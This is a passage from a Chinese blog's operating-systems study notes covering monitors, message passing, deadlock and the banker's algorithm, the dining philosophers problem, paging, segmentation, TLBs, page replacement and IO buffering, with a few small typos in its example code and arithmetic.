id="管程">管程</h4><p>管程是一个程序设计语言结构，采用了<strong>集中式</strong>的进程同步方法，提供了与信号量同样的功能，但更易于控制。这里强调「集中式」，是因为信号量的操作<strong>分散</strong>在各个进程种，代码维护和心智负担都比较大。</p><p>管程定义了数据通信的数据结构和并发控制的操作（比如阻塞、接触阻塞、队列长度控制），并且<strong>局部的数据只能被管程访问</strong>，这样完成通信数据和局部数据的区分。同一时刻，<strong>只能有一个进程再管程中执行</strong>，其他调用管程的进程都会被阻塞，直到这个进程阻塞或者退出。这样实现了临界资源的互斥访问。</p><p>管程需要<strong>条件变量</strong>实现队进程的管理，因为管程中只能由一个进程执行，如果进程到达顺序不对，那么就不满足条件变量，进程就会阻塞。这时管程的调用权就交给了其他进程，直到另外的进程满足了条件变量，才能顺利执行。<strong>管程中的条件变量是同步的</strong>，因此由于其他进程修改了条件变量，这样被阻塞的进程也可以解除阻塞继续执行。这样，就完成了进程之间的同步。</p><p>管程中最常见的操作就是阻塞和解除阻塞：</p><ul><li>cwait©：调用进程的执行在条件 c 上阻塞，管程可供其它进程使用。</li><li>csignal©：恢复在条件 c 上阻塞的一个进程，若不存在阻塞进程，则什么都不做。</li></ul><h4 id="消息传递">消息传递</h4><p>我们之前都是直接默认了信号量在不同进程中是同步的，用来实现互斥或者同步。这样传递消息的方式，具有一些规律和模式。这一小节我们就是学习消息传递的基本原理。</p><p>消息传递由两条基本原语（原语是指<strong>由若干条指令组成的程序段，用来实现某个特定功能，在执行过程中不可被中断</strong>）：发送和接收。简单的说就是来自谁、发给谁，还有一些控制信息等。</p><img src="http://cdn.blog-blockchain.xyz/202302051646948.png" alt="image-20230205164621777" style="zoom:67%;" /><p>上图的消息的数据结构中可以看到一些参数，特别是源 ID 和发送 ID，它们的确定的方式，在不同场景下也不同。<strong>直接寻址</strong>时直接包含目标程序 ID，接收报文时根据需要选择是否要指明源程序 ID。<strong>间接寻址</strong>时消息会发送到公共的队列，然后接收的进程从公共队列中取走消息。</p><p>对于发送消息的进程，在发送消息之后可能阻塞，也可能不阻塞，继续执行。对于接收消息的进程，可能必须等待消息到达才能解除阻塞，也可能不接收消息直接执行。总的来说，有以下 3 种模式：</p><ol><li><strong>阻塞发送，阻塞接收</strong> 。发送者和接受者都阻塞，直到完成消息投递。一般需要进程紧密地同步时，比如流水线调度，会采用这种模式。</li><li>**不阻塞发送，阻塞接收 **。发送者不阻塞，但是接收者阻塞直到请求的消息到达。这是最常见的请求的模式。</li><li>**不阻塞发送，不阻塞接收 **。这就是各自执行各自的。</li></ol><h3 id="死锁">死锁</h3><p>进程同步的小节已经介绍过死锁了，当一组进程中的每个进程都在等待某事件，而只有同组进程中阻塞的其他进程能够促发该事件时，死锁发生。比如进程之间循环等待，或者内存不足，各自执行一般后阻塞。</p><p>严格的说，死锁的发送必须具备一些条件。必要条件：</p><ul><li>互斥。存在资源是临界资源，一次只有一个进程可以使用这个资源。</li><li>占用等待。当进程等待其他资源时，继续占有已经分配的资源。</li><li>不可抢占。不能强行抢占进程已经占有的资源。</li></ul><p>这些都是容易理解的，必须要存在临界资源才会造成等待，等待的时候如果释放资源或者资源被抢占，也是无法发生死锁的。有个充分条件则是<strong>循环等待</strong>：存在一个闭合的进程链，每个进程至少占有此链中下一个进程所需的一个资源。</p><h4 id="死锁预防">死锁预防</h4><p>死锁预防是指<strong>通过不满足上述三个条件</strong>防止死锁的发生。死锁的避免是指<strong>允许上述三个条件，但是通过设计不发生死锁</strong>。</p><p>互斥这个条件无法禁止，因为有些资源只能被独占。占用等待则可以<strong>要求进程一次性请求所有资源，并阻塞这个进程直到所有资源请求能够满足</strong>。但是，得到所有资源才开始执行，效率很低，而且某些进程执行时不知道需要哪些资源。</p><p>为了改善不可抢占的条件，就可以要求<strong>一个占有某些资源的进程进一步申请资源时若被拒绝，则释放最初占有的资源，或者要求占用自己需要的资源的进程释放资源给自己用</strong>。但是资源的状态如果不容易保存的话，会造成其他的程序中断，可能不得不重新执行被中断的进程。</p><p>从防止循环等待的角度说，可以把资源排序，申请资源的进程，必须先按照资源的序号申请，比如申请了 5 号资源就不能回过头申请 4 号资源。这样就避免了资源的冲突，但是显然申请资源的顺序可能和进程需要请求的资源的顺序不一样，这样需要额外的处理，效率较低。</p><h4 id="死锁避免">死锁避免</h4><p>死锁的避免是指<strong>允许上述三个条件，但是通过设计不发生死锁</strong>。一般有两种办法：</p><ol><li>资源分配拒绝。若一个进程增加的资源请求会导致死锁，则不允许这一资源分配。</li><li>进程启动拒绝。若一个进程请求会导致死锁，则不启动该进程</li></ol><p>简单的说，就是动态地检测，避免资源竞争地发生。比较典型的算法是<strong>银行家算法</strong>，它的基本思想是当进程申请资源时，必须保证分配出去之后，系统还是处于<strong>安全状态</strong>。否则就不分配，阻塞这个申请资源的进程。这里的「安全状态」指至少有一个资源分配的序列（表示进程申请资源顺序）不会导致死锁，能够让所有进程运行结束。<strong>安全状态一定不会发生死锁，不安全的状态不一定会发生死锁</strong>。</p><p>银行家算法需要使用到如下的数据结构：</p><ul><li>声明需要资源的矩阵（C 矩阵）。表示每个进程需要每种类型的资源的数量。</li><li>分配矩阵（A 矩阵）。表示当前每个进程分配到的资源的数量。</li><li>C-A 矩阵。表示每个进程还需要的资源的数量。</li><li>资源向量。表示当前系统拥有的每类资源的数量。</li><li>可用资源向量。表示当前还可以分配的每类资源的数量。</li></ul><img src="http://cdn.blog-blockchain.xyz/202302062013948.png" alt="image-20230206201304855" style="zoom: 80%;" /><p>根据逻辑和上述原理，可以发现分配矩阵中每类资源的和就是已经分配出去的资源数量，相当于资源向量减可用资源向量。图上的所有信息，就是初始的系统状态。</p><p>每次更新时，<strong>可用资源向量（的每个元素）必须大于 C-A 矩阵中的某个进程</strong>，这样才能让一个进程获得所需的所有资源。但是可能出现有多个满足条件的进程，这就像一棵树一样，有多条路径。就是通过这样类似深度优先搜索的方法，找到一条可以遍历每个进程一次的路径。例如上图只有 P2 满足条件，当 P2 运行结束后，状态如下图。</p><p>记住需要更新分配矩阵、C-A 矩阵、可用资源向量。需求矩阵对应进程需要的资源设置为 0。</p><img src="http://cdn.blog-blockchain.xyz/202302062024843.png" alt="image-20230206202446750" style="zoom:80%;" /><p>可以知道都可以分配了，不妨选择 P1，P1 运行结束后如下</p><img src="http://cdn.blog-blockchain.xyz/202302062028648.png" alt="image-20230206202847552" style="zoom:80%;" /><p>之后的选择完全是类似的，P2, P1, P3, P4 这个顺序是安全的，其他的顺序，比如 P2, P1, P4, P3 也是安全的。需要注意的是，如果进程并不一次性分配的需要所有资源，这也是可以的，但是需要满足分配之后，存在一个进程可以分配得到所有它需要的资源。比如，下图中，如果给 P1 分配了(1, 0, 1)的资源，那么后续就无法分配了，没有一个进程可以执行结束，这是不允许的，会拒绝分配。</p><img src="http://cdn.blog-blockchain.xyz/202302062107629.png" alt="image-20230206210720509" style="zoom:80%;" /><p>根据上面的例子可以发现，死锁避免采用的银行家算法，并没有改变三个必要条件中的要求，而是通过策略控制资源分配给进程的多少和顺序，从而达到死锁避免。这样做的限制更少，而且更加灵活。但是，这需要每个进程需要在执行前声明自己需要的所有资源有哪些，而且进程之间是独立的，不能有执行顺序的要求。特别是频繁的检测会消耗处理器很多的时间。</p><p>如果发现不存在安全的路径，通常有三种办法：</p><ul><li>撤销进程。撤销被永久阻塞的进程，直到不发生死锁。</li><li>回退。把进程的状态回滚到之前的检查点，从检查的开始重新执行。</li><li>抢占。通过抢占资源，来保证某个进程能顺利执行。</li></ul><h4 id="哲学家就餐问题">哲学家就餐问题</h4><p>哲学家就餐问题是经典的死锁问题。场景如下 5 把叉子，五份食物，每个人必须要两把叉子才能进食。显然，如果每个人都拿起了一把叉子，就每个人都没办法进食。直观的想法是，如果一个人拿不到左边或者右边的叉子，那么就把手上的另一个叉子也放下，让其他人使用。但是，没有规则的互相谦让，可能让每个人都无法进食，形成活锁。</p><img src="http://cdn.blog-blockchain.xyz/202302062120273.png" alt="image-20230206212059064" style="zoom: 50%;" /><p>所以我们需要给资源建立偏序关系，让资源按照一定的顺序申请和释放。</p><p>方案一：就餐前，先取用编号较低的餐叉，再取用编号较高的餐叉。这样就会有同一个叉子被两个人竞争，导致至少一个人由于竞争失败，不去取另外一个叉子。这样就可以保证有一个人能拿到两把叉子。</p><p>方案二：奇数号的哲学家必须首先拿左边的餐叉，偶数号的哲学家必须首先拿右边的餐叉。同样的道理。</p><p>方案三：最多允许四个人同时进食，这样至少一个人会拿到两把叉子。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">semaphore fork[<span class="number">5</span>] = &#123;<span class="number">1</span>, <span class="number">1</span>, <span class="number">1</span>, <span class="number">1</span>, <span class="number">1</span>&#125;, room = <span class="number">4</span>;</span><br><span class="line"><span class="type">void</span> <span class="title function_">main</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">        cobegin &#123;philosopher(<span class="number">0</span>); philosopher(<span class="number">1</span>); philosopher(<span class="number">2</span>); philosopher(<span class="number">3</span>); philosopher(<span class="number">4</span>);&#125;coend;</span><br><span class="line">&#125;</span><br><span class="line"><span class="type">void</span> <span class="title function_">philosopher</span><span class="params">(<span class="type">int</span> i)</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="keyword">while</span>(<span class="number">1</span>) &#123;</span><br><span class="line">        wait(room);                             <span class="comment">//占据就餐位置</span></span><br><span class="line">        wait(fork[i]);                           <span class="comment">//拿起左边的叉子</span></span><br><span class="line">        wait(fork[(i+<span class="number">1</span>)%<span class="number">5</span>]);               <span class="comment">//拿起右边的叉子</span></span><br><span class="line">        eat();</span><br><span class="line">        signal(fork[(i+<span class="number">1</span>)%<span class="number">5</span>]);            <span class="comment">//放回右边的叉子</span></span><br><span class="line">        signal(fork[(i]);                        <span class="comment">//放回左边的叉子</span></span><br><span class="line">        signal(room);                          <span class="comment">//释放就餐位置</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>哲学家就餐问题，实际上代表着对每一个进程，临界资源要么全部分配到位或者一个资源都不分配。</p><h2 id="基本内存管理">基本内存管理</h2><p>这一部分的前提是，要求默认读者清楚计算机存储的基本结构。对于存档的存储，是不能直接访问的。ROM 这些是可以作为永久性记忆的，可以用来存储。对于快速的临时存储，按照 CPU 读取的亲近关系，可以分成寄存器、Cache、主存（内存）。它们的速度是从金字塔顶端下降的，但是容量是逐渐上升。</p><img src="http://cdn.blog-blockchain.xyz/202302062318849.png" alt="image-20230206231848772" style="zoom: 80%;" /><h3 id="内存管理的关注点">内存管理的关注点</h3><p>内存管理需要关注<strong>重定位</strong>、<strong>保护</strong>、<strong>共享</strong>、<strong>逻辑组织方式</strong>、<strong>物理组织方式</strong>。</p><p>重定位是指编程时程序员设置的内存位置和实际程序运行的位置的映射，程序员不知道系统可能在哪些位置有哪些程序，所以就需要重定位技术，让程序按照内存空闲情况，重新定位到内存中不同的位置。重定位的方式，其实就是地址转化的方式，也会影响进程寻址的方式。</p><p>保护是指进程以外的其他进程中的程序不能未经授权地访问（进行读操作或写操作）该进程的内存单元。这是非常重要的技术，如果黑客可以访问并修改 root 用户所在的内存，刻意修改内存，可能会造成严重后果。所以，windows 也推出了让内存中程序的位置不可预测的功能。</p><p>共享是指多个进程可以执行同一个程序，多个进程拥有同一个副本，通过共享可以大大节省内存。</p><p>逻辑组织方式是应用程序访问内存时，看到的内存的组织方式。属于软件层面的支持。</p><p>物理组织方式是硬件层面的编码方式，它和逻辑组织方式之间的转化由操作系统完成，而不是由程序员完成。最典型的就是虚拟内存和物理内存之间的映射方式。</p><p>高级语言需要转化成实际的可以运行的程序，一般需要对单个文件的源代码进行编译，然后链接编译后的单个模块和库函数等形成一个完整程序。之后才能装入内存，程序直接包含了静态库，但是动态库需要在程序装入时跟着装入。</p><img src="http://cdn.blog-blockchain.xyz/202302062323258.png" alt="image-20230206232353031" style="zoom: 50%;" /><p>在装入主存的过程中，程序内的地址将会发生重定位，将逻辑地址转化成内存中的物理地址。</p><h3 id="加载过程">加载过程</h3><p>装入主存的过程，根据逻辑地址和物理地址的映射关系，可以分成：绝对加载方式、静态重定位方式、动态重定位（运行时）方式。</p><p><strong>绝对加载方式</strong>逻辑地址和物理地址完全相同，<strong>编译时就确定了</strong>程序将运行在内存中的具体的位置，在程序内可能用一些符号地址代替地址的编号，编译时就会转化成绝对地址。非常显然的是，内存中程序的安排必须是完全确定的，也就是这样的系统是专用的。其次，多处理器系统在运行这个程序产生的多个进程时，可能会造成存储位置冲突。</p><p><strong>静态重定位</strong>编译时采用相对地址的方式，编译器假设加载是从 0 地址开始的，<strong>加载时</strong>程序代码内的所有地址拥有相同的偏移量，运行之后地址不能改变。由于运行后地址固定，不方便重新分配内存，导致内存空余的间隙不能充分利用。·</p><p><strong>动态重定位</strong>的地址转换过程发生在<strong>运行时</strong>，为了不影响运行速度，一般使用硬件支持。这样程序不必连续的存放在内存中，而且可以共享某一段内存，这也是现代计算机的主流方式。缺点也显然，就是更加复杂，地址转化的计算也更复杂。</p><h3 id="链接过程">链接过程</h3><p><strong>静态链接</strong>在<strong>程序运行之前</strong>，先将各目标模块及它们所需的库函数，链接成一个完整的装配模块。静态链接时需要考虑各个模块的地址的统一、外部引用地址的统一。显然，这样编译出来的程序会很大，因为需要的东西都塞进去了，也不方便对每个模块升级，而且链接的库函数在实际执行中，可能不会全部同时用到。但是，这样做也避免了一些环境依赖。</p><p><strong>加载时动态链接</strong>待加载的模块在加载内存时，如果该模块中有到外部模块的引用，加载程序将查找这些模块并加载内存，并把这些引用修改为相对应用程序模块开始处的相对地址。各个模块相对独立，可以升级，不同程序也可以共享库函数。但是，<strong>加载确定之后，模块是不能变动的</strong>。</p><p><strong>运行时动态链接</strong>在程序执行中需要某目标模块时，由操作系统去找到该模块并将之加载内存，随后把它链接到调用者模块上。这是很主流的方式，比如 windows 的 ddl 文件就是一些用于加载时动态链接的库函数。模块就是动态的可拆卸的，可以加快加载过程，也可以节省内存空间。</p><h3 id="内存分区">内存分区</h3><p>使用过的内存分区技术如下，从开始的简单分区，到后来的分页分段和虚拟内存方案，体现了技术进步的过程。我们在这节只介绍前面两种，段和页将在虚拟内存管理中学习。</p><table><thead><tr><th><strong>内存管理技术</strong></th><th><strong>使用</strong></th></tr></thead><tbody><tr><td>固定分区</td><td>IBM MFT</td></tr><tr><td>动态分区</td><td>IBM MVT</td></tr><tr><td>简单分页</td><td>没有使用，但为虚存分页的基础</td></tr><tr><td>简单分段</td><td>没有使用，但为虚存分段的基础</td></tr><tr><td>虚存分页</td><td>现代操作系统广泛实际使用</td></tr><tr><td>虚存分段</td><td>现代操作系统广泛实际使用</td></tr></tbody></table><p><strong>固定分区</strong>的分区数量固定，操作系统占据内存的固定部分，其他每个分区装入一个进程。分区的大小肯能相等也可能不相等。如果分区大小相等，那么程序可能无法恰好占满分区，导致内存中有很对碎片，浪费空间。分区大小不等，则需要一定的算法进行分配。</p><p><strong>动态分区</strong>的分区大小和数量都不固定，可以按照进程的需求分配内存空间。但是由于进程在内存中的分配和取消分配，也会产生大量内存碎片，例如下图进程 2 退出后的空隙就无法被填满。因此，提出了压缩技术，通过移动进程，使得进程占用的空间连续。但是这样也浪费了处理器的时间。</p><img src="http://cdn.blog-blockchain.xyz/202302081426305.png" alt="image-20230208142649104" style="zoom:50%;" /><p>简要介绍动态分区的算法：</p><ol><li>首次匹配。从头开始扫描内存，选择大小足够的第一个可用块。</li><li>下次匹配。从上一次放置的位置开始扫描内存，选择下一个大小足够的可用块。</li><li>最佳匹配。选择空间大小与需求最接近的空闲块分配。</li><li>最差匹配。选择满足需求的最大的空闲分区分配。</li></ol><p><strong>伙伴系统</strong>是固定分区和动态分区的折中方案。简单的说，分区的大小既不是精确按进程的需要决定，也不是按照预先确定的固定方式决定，而是按照 2 的幂次分配空间，找到满足进程需要的最小的 2 的幂次的空间。</p><img src="http://cdn.blog-blockchain.xyz/202302091312364.png" alt="image-20230209131214246" style="zoom: 50%;" /><h3 id="分页">分页</h3><p>（这一小节，如果完全没有接触过虚拟内存，可能需要较长时间理解）</p><p>页是进程中的块，页框是内存中的块。因此，进程和内存都分成了大小相等的块，便于映射和寻址。页和页框之间的映射，就可以在逻辑上进程的内存空间连续，物理存储上可以分开。这样就非常灵活，也避免了内存的小碎片的产生，实现了内存的离散分配。</p><p>页和页框的对应关系，由页表储存着，处理器会访问页表，用硬件的方式将页表项中的逻辑地址，转换成物理地址。页表项的基本结构如下图，页号表示第几个页，业内偏移量则是在一个页内的地址偏移量，这样就可以定位到某一个字节。</p><img src="http://cdn.blog-blockchain.xyz/202302091327454.png" alt="image-20230209132730396" style="zoom:50%;" /><p>逻辑地址到物理地址的转换过程非常的直接，偏移量部分不变，逻辑地址会根据页表查找到页框号。这样页框号和偏移量拼接起来，就是物理地址了。</p><img src="http://cdn.blog-blockchain.xyz/202302091340315.png" alt="image-20230209134002233" style="zoom:50%;" /><p>页表储存在内存中，进程管理块（PCB）记录着页表的起始地址，页表寄存器存放当前运行进程的页表的起始地址。我们看一个示例，内存容量共 256K，存储块的大小为 1K，那么就有 256 个页框。第 0 ～ 4 块为操作系统所使用。现有 2 个用户作业，作业 1 和作业 2，其逻辑地址空间分别占 2k 和 2.5k。那么就分别需要 2 页和 3 页。那么一种可能的内存布局方式，就如下图所示。进程左边的数字表示地址，页表中存在页号到页框号的对应。</p><img src="http://cdn.blog-blockchain.xyz/202302091344951.png" alt="image-20230209134444852" style="zoom:50%;" /><p>对于虚拟地址 09C4H（注意末尾的 H 表示十六进制），二进制为 0000 1001 1100 0100B（末尾 B 表示二进制）。注意虚拟地址的页的数量不一定等于页框的数量，一般是会大于，也有可能小于。所以虚拟地址页号占几位一般是通过偏移量和机器字长计算的。假设这是 16 位的机器，那么低 10 位是偏移量（对应页的大小），29C4H，高 6 位 2H 是页号，对应页框号 10，所以物理地址为 18 位 00 0010 1001 1100 0100.</p><h3 id="分段">分段</h3><p>一个程序可以分成大小不等的几个段，每个段都从 0 开始编址，并占用一段连续的地址空间。逻辑地址则由两部分构成，段号+段内偏移量。<strong>分段可以被程序员控制，但是分页不行</strong>，这样可以让程序运行时实现模块化。分段也可以避免内存的内部碎片，段之间可以动态连接。</p><img src="http://cdn.blog-blockchain.xyz/202302091542808.png" alt="image-20230209154241749" style="zoom:50%;" /><p>因为段的大小不等，所以逻辑地址和物理地址之间的对应关系比较复杂，但是寻址过程和分页是完全相同的。</p><p>分页存储管理系统不易实现「共享」，不支持「运行时动态链接」，而分段系统易于实现「共享」和「动态链接」。</p><h2 id="虚拟内存管理">虚拟内存管理</h2><p>虚拟内存最主流的就是分段和分页，他们都需要硬件支持，而且操作系统必须实现管理页和段的软件算法。虚拟内存是指外存（比如机械硬盘、固态硬盘）可以看作是内存的一部分来寻址，这样实现了对内存的拓展。</p><p>需要注意，分段和分页<strong>不需要一个程序的所有页或者段都在内存中</strong>，只需要加载正在运行的部分即可，这也是非常重要的节省内存空间的方法。<strong>分段或分页式的进程执行过程</strong>：进程在执行过程中，会从程序的入口加载若干块进入内存，当前驻留在内存中的部分叫做<strong>驻留集</strong>。如果逻辑地址对应的物理地址上的内容标记为失效，那么就会产生中断，进程进入阻塞阶段。接着，操作系统就会生成磁盘 IO 请求，在这个过程中，会调度其他进程执行，当磁盘 IO 完成之后，内存上就有了需要的资源，被阻塞的进程进入就绪状态。</p><p>按照上面的执行过程，可以发现找到尽可能的减少缺页的发生的方法，是非常重要的。如果外存加载进内存和释放的过程太频繁，就会造成抖动，大量缺页。经典的办法是利用<strong>局部性原理</strong>，短时间内程序在外存中的存储一般是连续的，也就是说具备集簇倾向。那么从外存加载数据时，就可以预测下一个需要的数据，在已经加载的数据的附近。</p><p>基于虚拟内存技术，内存可以实现拓展，运行更多的进程，调度效率高。分段分页即使可以实现运行时按需调配资源，可以提高内存利用效率。</p><img src="http://cdn.blog-blockchain.xyz/202302091628402.png" style="zoom: 50%;" /><h3 id="分页细节">分页细节</h3><p>之前介绍的分页，只是提到页表中逻辑地址到物理地址的对应关系，而实际的使用中还存在一些常用的优化技术。例如增加控制位，存在位 P 表示对应的页是否在内存中，M 表示距离上次装入内存中的页框的内容是否修改过。</p><img src="http://cdn.blog-blockchain.xyz/202302091655430.png" alt="image-20230209165541374" style="zoom:50%;" /><p>由于虚拟内存可以非常大，远大于内存，所以页表也可能很大，因此<strong>页表会存储在虚拟内存中</strong>。比如一个虚拟空间 32GB，每个页大小 1KB，那么需要 2^(35 - 10)=2^25 的页表项，非常大。</p><p>页表大了起来，检索速度也会变慢，因此提出了多级页表的方式，加快速度。以两级页表为例，第一层页表的每一项，指向第二层的一个页表。其中第一层页表又被叫做页目录。<strong>总共的页表项的数量是每一层级页表项数量的乘积</strong>。如下图，假设每个页表项为 4 字节，页大小 4KB，那么 4GB 的虚拟地址空间（也叫做用户地址空间）就需要 2^20 的页表项，需要 4MB 的页表。为了加快检索，而不用遍历那么多页表项去寻找匹配的虚拟地址，就采用了根页表，同时页表可以存放在虚拟内存中。</p><img src="http://cdn.blog-blockchain.xyz/202302101341523.png" alt="image-20230210134104435" style="zoom:50%;" /><p>根页表的每一项的数据结构和普通页表类似，也是通过根页表的编号（也被称作页目录号）找到对应的页号（比如上图 4MB 的页表）,然后根据偏移地址确定具体对应页框号的页表项。</p><img src="http://cdn.blog-blockchain.xyz/202302101347397.png" alt="image-20230210134758343" style="zoom:50%;" /><p>如果从虚拟地址的角度出发，那么就可以将虚拟地址分成 3 部分，第一个部分是根页表的项的编号，第二部分是第二级页表项的编号，第三部分是虚拟地址。同时第二部分也是根页表中的页内偏移量。也就是，单层页表的页表编号被拆分成两部分了。</p><img src="http://cdn.blog-blockchain.xyz/202302101351608.png" alt="image-20230210135159504" style="zoom:50%;" /><p>另外一种优化技术是<strong>倒置页表</strong>，之前提到每个进程需要分配一个页表，所有进程的 PCB 记录着页表的起始地址。当进程很多时，多个页表也会占据大量内存空间。因此，通过虚拟地址寻找物理地址的数据的方式做了一些更改，首先计算 <code>HASH(逻辑页号+进程ID)</code>，然后在哈希表中通过链接指针找到（类似链表的方式）找到对应的一项，然后在这一项中获得页框号。这个哈希表就叫做倒置页表。</p><img src="http://cdn.blog-blockchain.xyz/202302101414269.png" alt="image-20230210141445156" style="zoom: 50%;" /><h3 id="TLB-快表">TLB 快表</h3><p>之前的介绍中，通过页表查询的方式，往往需要两个步骤，首先是根据逻辑页号读取虚拟内存中的页表项，然后通过页表项中的物理页框号读取内存中的数据。实际上，我们可以通过高速缓存的方式提高速度。快表转换过程如下：一个虚拟地址寻找物理地址时，首先检查 TLB 中是否有页表项，如果有则直接得到物理页框号。如果没有，那么需要寻找到这个进程所在的页表，然后找到页表中的页表项，得到物理页框号，最后更新 TLB。</p><img src="http://cdn.blog-blockchain.xyz/202302101437066.png" alt="image-20230210143708957" style="zoom:50%;" /><p>因此，完整的虚拟地址到物理地址的转过过程如下图</p><img src="http://cdn.blog-blockchain.xyz/202302101439668.png" alt="image-20230210143904578" style="zoom: 67%;" /><p>虽然 TLB 速度很快，但是空间有限。究竟哪些页表项需要放入 cache，页表项和 cache 的对应关系、更新方式等，都已经在计算机组成原理中学习过了。由于计算机操作系统的课程考核不要求这一部分，全相联、组相联这些内容暂时跳过。读者感兴趣的话，可以评论，日后我继续补充。</p><h3 id="分段和段页式">分段和段页式</h3><p>类似于分页，每个进程一个段表，段表项也有存在位（对于段是否存在内存）、修改位（上次装入后是否修改）、其他控制位、段长度、段基址。和分页不同德是，物理地址的确定是段基址加上偏移量。分段的机制每个段都有长度和基址，那么限制只能访问当前段的内存，就可以控制非法访问，实现<strong>保护</strong>。一个段可以被多个进程引用，实现<strong>共享</strong>。</p><img src="http://cdn.blog-blockchain.xyz/202302101451137.png" alt="image-20230210145129046" style="zoom:50%;" /><p><strong>段页式</strong>的方式是分段和分页的结合，虚拟地址空间（也叫做用户地址空间）被程序员分成若干段，每段划分成若干页。每个进程一个段表、每个段一个页表。段表项包含了段长和页表起始地址等信息，页表项则包含了页框号等信息。</p><img src="http://cdn.blog-blockchain.xyz/202302101458517.png" alt="image-20230210145859451" style="zoom: 50%;" /><p>具体寻址过程如下，需要注意的就是段号寻找段表项，页号寻找页表项，都是需要加法。可以看到，访问段表、访问页表、读取内存数据，至少需要访问 3 次内存。</p><img src="http://cdn.blog-blockchain.xyz/202302101501072.png" alt="image-20230210150142996" style="zoom: 50%;" /><h3 id="系统的存储管理">系统的存储管理</h3><p>为了实现虚拟内存，操作系统需要实现读取策略（如何调入页）、放置策略（放在内存的哪个位置）、置换策略（把不需要的数据从内存置换出去）、驻留集管理（需要加载进程的哪些资源）等等。</p><p><strong>读取策略</strong>主要关注请求调页和预调页。请求调页是指如何将需要的页面调入内存，避免缺页的发生和如何处理缺页。预调页是额外读取页面，相当于做好缓存，但是需要确定命中。如果额外读取的页面未使用，则低效。</p><p><strong>放置策略</strong>是确定进程驻留在内存中的哪个位置，比如分区系统中的首次匹配、下次匹配等算法，就是属于这一类策略。</p><p><strong>置换策略</strong>是读取新页时，选择淘汰哪些页面。置换做的好，把最不可能访问的页面淘汰，可以合理分配内存。锁定一些页框不淘汰，也可以降低缺页率。基本的置换算法如下：</p><ol><li><p>最佳置换。置换下次访问距当前时间最长的页面。但是这很理想化，因为可能不知道所有页面未来读取的时间，除非已经知道未来页面的访问顺序了。</p></li><li><p>最近最少使用。置换最长时间未引用的页面。这就需要给页面增加最近访问的时间戳，开销大。</p></li><li><p>先进先出。采取严格的单向队列，按照循环的方式，删除最先进来的页面，也就是驻留在内存中时间最长的页面。问题明显，驻留时间最长，不代表不需要。</p></li><li><p>时钟置换。本质上是淘汰最近没有使用的页。规则如下：</p><ul><li><p>当页面载入或者再次读取时，页面的使用位设置为 1。未使用的缓冲区，使用未设位 0.</p><img src="http://cdn.blog-blockchain.xyz/202302102323639.png"  /></li><li><p>当访问的页面不存在时，就会从指针的位置开始旋转，如果当前指针指向的页面的使用位为 1，那么就置为 0，继续到下一个位置。如果当前指向的页面使用位为 0，那么就就装入。</p><p><img src="http://cdn.blog-blockchain.xyz/202302102334642.png" alt="图片.png"></p></li><li><p>当命中时，指针位置不变。</p></li></ul></li></ol><p><strong>驻留集管理</strong>指进程运行过程中哪些页面需要加载进来。这需要确定进程当前活动需要多少个页框，这可以固定分配，也可变分配。当发生缺页时，需要确定置换的范围，是在一个进程的空间中置换，还是允许整个内存的范围内置换。具体细节暂时放下。</p><h2 id="IO-管理和磁盘调度">IO 管理和磁盘调度</h2><h3 id="IO-控制方式">IO 控制方式</h3><p>IO 的基本控制方式有轮询(忙等方式)、中断驱动、DMA、通道控制。</p><p><strong>轮询</strong>是通过程序完成的，需要 IO 时会通过 CPU 给 IO 控制器发出命令，然后进程阻塞，CPU 不断轮询控制器的状态，直到就绪之后<strong>经过 CPU 读入内存</strong>。</p><img src="http://cdn.blog-blockchain.xyz/202302110001662.png" alt="image-20230211000155595" style="zoom: 67%;" /><p><strong>中断驱动</strong>则智能一些，CPU 发送指令之后，如果是非阻塞的指令，那么继续执行进程，如果是阻塞的指令，则当前进程被换出，调度其他进程。CPU 不用轮询其他进程，而是等待 IO 控制器返回消息后，再执行需要这 IO 的程序。<strong>每次传输一个数据就会发送中断</strong>。</p><p><strong>DMA</strong> 这个模块会直接和 IO 控制器通信，CPU 可以去做其他事情，<strong>DMA 直接向存储器读或写数据</strong>，等待 DMA 完成了所有事情，再通知 CPU 处理，这时 CPU 处理的工作切换了，发送中断。</p><table><thead><tr><th></th><th>中断驱动</th><th>DMA</th></tr></thead><tbody><tr><td>中断频率</td><td>每次传输一个数据即产生中断。</td><td>一块数据全部传送结束时才中断 CPU。</td></tr><tr><td>数据传输</td><td>数据传送在中断处理时由 CPU 控制完成。</td><td>数据传送在 DMA 控制器的控制下完成。</td></tr></tbody></table><p>可以知道，中断适合小数据快速传输，DMA 适合大数据传输。</p><p><strong>通道控制</strong>，某些 IO 设备（如存储器）需要被多用户共用，那么就可能存在多通道，每个通道又由多个控制器管理，每个控制器又连接多个设备。通道控制是 DMA 的升级版本，有自己的 IO 指令集，甚至自己就是微型计算机，并行的操作，读取速度更加快。</p><img src="http://cdn.blog-blockchain.xyz/202302110017351.png" alt="image-20230211001757301" style="zoom: 67%;" /><h3 id="IO-缓冲">IO 缓冲</h3><p>缓冲是指发出读取请求之前就开始读取数据，发出写入请求一段时间后才开始写入数据。</p><ul><li><p>没有缓冲时，数据单次的到达进程或者从进程送出，那么每次数据传输都需要计算和整个 IO 过程的时间。</p></li><li><p>当采用单缓冲时，进程的多次数据请求时，就可以一边计算一边缓冲，然后整个的传输到进程。这节省了传输时间。</p><img src="http://cdn.blog-blockchain.xyz/202302110031185.png" alt="image-20230211003158127" style="zoom:50%;" /></li><li><p>双缓冲有两个缓冲区，系统使用一个缓冲区传输数据时，就可以填充另外一个缓冲区，这样切换着执行，就几乎感受不到数据存设备读取到内存的时间。多个缓冲区时，原理也是类似的。</p><img src="http://cdn.blog-blockchain.xyz/202302110032606.png" alt="image-20230211003250549" style="zoom: 50%;" /></li></ul><p>缓冲缓解了 IO 设备速度太慢的问题，相比 CPU 的执行速度，IO 设备先攒一波，再传输数据，可以减少 CPU 等待时间和中断数量。</p><p>磁盘中的缓冲技术中典型的有<strong>SPOOLing</strong>，它在磁盘中建立 IO 缓冲区，对 IO 